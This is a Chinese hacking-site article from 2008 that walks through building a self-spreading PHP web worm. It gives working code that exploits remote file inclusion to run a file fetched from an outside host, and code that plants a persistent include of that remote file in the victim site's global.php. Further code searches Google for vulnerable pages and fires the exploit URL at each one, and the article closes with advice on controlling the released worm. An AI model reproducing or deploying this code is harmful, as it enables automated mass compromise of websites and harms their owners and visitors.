奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客编程 >> 正文

一个Web网页下蠕虫的简单实现

作者:放弃    文章来源:网上收集    点击数:    更新时间:2008-4-6
在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓黑客的后门,鄙视!

    所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

     一  需要的程序漏洞

    php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:

<?
@include $page;
?>

    其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我们可以在其中将变量定义为我们的一个文件如http://www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只要简单的GET这个页面:

Iam_vul.php?page=http://www.defence80.com/worm.txt

就可以让worm.txt内容在网站执行:) 


    二  感染

    我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码: 

<?
@include "http://www.defence80.com/worm.txt";
?>

    当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可以在网站目录下面生成一个worm.txt表示已经被感染,代码变为: 

<?if(!file_exists(’worm.txt’))
{
fputs(fopen(’worm.txt’,’a+’),’I am a worm!’);
fputs(fopen(’global.php’,’a+’),’<?@include "http://www.defence80.com/worm.txt";?>’);
}
?>


    这样这个网站就被我们寄生了:)

[NextPage]

 

三  传播

    传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的壮大使着变得可能。假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这个攻击代码是会被插入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这里简单的考虑目标的选取和个数的确定:

<?
$random = rand(0, 30);
$random = 10*$random;                                 //随机取0-300之间的数目,我这里是作为示例:)
$query  = ’Iam_vul.php’;                              //关键字
$url = "http://www.google.com/search?q=".$query.&q ... r=&start=".$random;
if($contents=@file_get_contents($url))                //取得Google页面的返回
    {
        $pattern="|<a class=l href=[’"]?([^ ’"]+)[’" ]|U";
        @preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
        for($i=0;$i<@count($regArr);$i++)    {
                                            $sITe=@preg_replace

("/Iam_vul.php(.*)$/i",’’,$regArr[$i][1]);           //处理生成结果,可以考虑修改感染个数
                                            @file_get_contents

($sITe."Iam_vul.php?page=http://www.defence80.com/worm.txt"); //攻击目标网站,的确就这么简单
                                        
                                        }
    }
?>

    能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

    四  如何控制?

    精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

    五  总结

    精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意的蠕虫去尝试修复漏洞或者提醒管理员呢?完毕!

文章录入:二少    责任编辑:放弃 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    推荐文章一句话木马用Upfile.vbs脚本
    推荐文章软件破解教程-第6章第3节 加密算法5
    推荐文章软件破解教程-第6章第3节 加密算法4
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章软件破解教程-常用Win32 API函数简介
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
     热门文章
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
    推荐文章详解Visual C#数据库编程
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章网站防止注入入侵的一些有效代码和方法
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号